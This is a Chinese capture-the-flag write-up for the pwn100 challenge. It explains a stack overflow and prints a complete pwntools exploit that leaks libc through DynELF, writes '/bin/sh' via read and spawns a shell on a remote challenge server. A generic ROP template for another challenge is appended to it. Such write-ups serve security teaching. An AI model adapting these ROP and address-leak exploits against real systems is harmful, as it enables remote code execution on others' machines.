CTF-PWN-pwn100 (ROP+DynELF定位system函数)

本文分析了一个存在栈溢出的程序,并详细解释了如何利用此漏洞。通过DynELF模块泄露system地址,利用read函数将/bin/sh写入数据段,构造ROP链劫持程序流程,最终实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞分析

程序中只开了NX,查看程序逻辑发现:

int sub_40068E()
{
  char buf; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&buf, 200);
  return puts("bye~");
}

使用sub_40063D函数向buf中读取200个字符,显然存在栈溢出。接下来我们要思考如何利用这个漏洞。
观察到程序中调用read以及puts函数,而不存在system/bin/sh,我们可以考虑用DynELF模块泄露system的地址,然后用read函数将/bin/sh写入数据段,再通过构造ROP链劫持程序流程

用指令

readelf -S pwn100

查看段信息,将/bin/sh写入.data地址
至于如何调用read函数,在程序的init函数中有这样一段代码:

.text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn

可以看到,0x40075A的一串pop指令是对程序寄存器的修改,然后0x400740以后的指令是执行r12+rbx*8地址处的函数

exp:

from pwn import *

#p=process("./pwn")
p=remote("111.198.29.45",52106)
elf=ELF("./pwn")

pop_rdi=0x400763
pop_6r=0x40075A
mov_addr=0x400740
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000

def leak(addr):
    payload='a'*0x48+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(start_addr)
    payload=payload.ljust(200,"a")
    p.send(payload)
    p.recvuntil("bye~\n")
    up=""
    content=""
    cnt=0
    while True:
	c=p.recv(numb=1,timeout=0.5)
	cnt+=1
	if up=='\n' and c=="":
	    content=content[:-1]+'\x00'
	    break
	else :
	    content+=c
	    up=c
    content=content[:4]
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
log.info("system_addr => %#x",sys_addr)
payload='a'*0x48+p64(pop_6r)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(1)
payload+=p64(mov_addr)+'\x00'*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.interactive()
### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值